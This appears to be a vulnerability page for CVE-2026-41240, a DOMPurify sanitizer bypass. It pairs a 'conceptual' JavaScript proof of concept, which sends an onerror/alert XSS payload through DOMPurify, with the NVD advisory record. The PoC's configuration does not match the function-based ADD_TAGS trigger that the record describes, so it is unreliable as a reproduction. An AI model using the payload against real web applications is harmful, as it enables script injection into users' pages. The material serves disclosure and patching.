CVE-2026-41240

// Conceptual Proof of Concept for CVE-2026-41240 // Requires DOMPurify < 3.4.0 const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); // Malicious payload attempting to inject a script or handler // Assuming 'style' or a specific tag is handled via the vulnerable path let dirty = '<style><img src=x onerror=alert(1)></style>'; // Configuration triggering the vulnerable path // Using ADD_TAGS in a way that triggers tagCheck logic let clean = DOMPurify.sanitize(dirty, { FORBID_TAGS: ['style', 'script'], // Tags that should be removed ADD_TAGS: ['custom-tag'], // The vulnerability arises when internal logic (tagCheck) interacts with these config options }); // Output the result console.log('Cleaned HTML:', clean); // If vulnerable, the malicious tag structure might survive or cause execution if (clean.includes('onerror') || clean.includes('alert')) { console.log('[!] Vulnerability Exploited: XSS payload survived.'); } else { console.log('[+] Sanitization successful.'); }

{"cve": {"id": "CVE-2026-41240", "sourceIdentifier": "[email protected]", "published": "2026-04-23T16:16:26.710", "lastModified": "2026-04-29T14:58:30.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-183"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.0", "matchCriteriaId": "FB517D2F-834A-4C6E-949C-A548549A07B9"}]}]}], "references": [{"url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Patch", "Vendor Advisory"]}]}}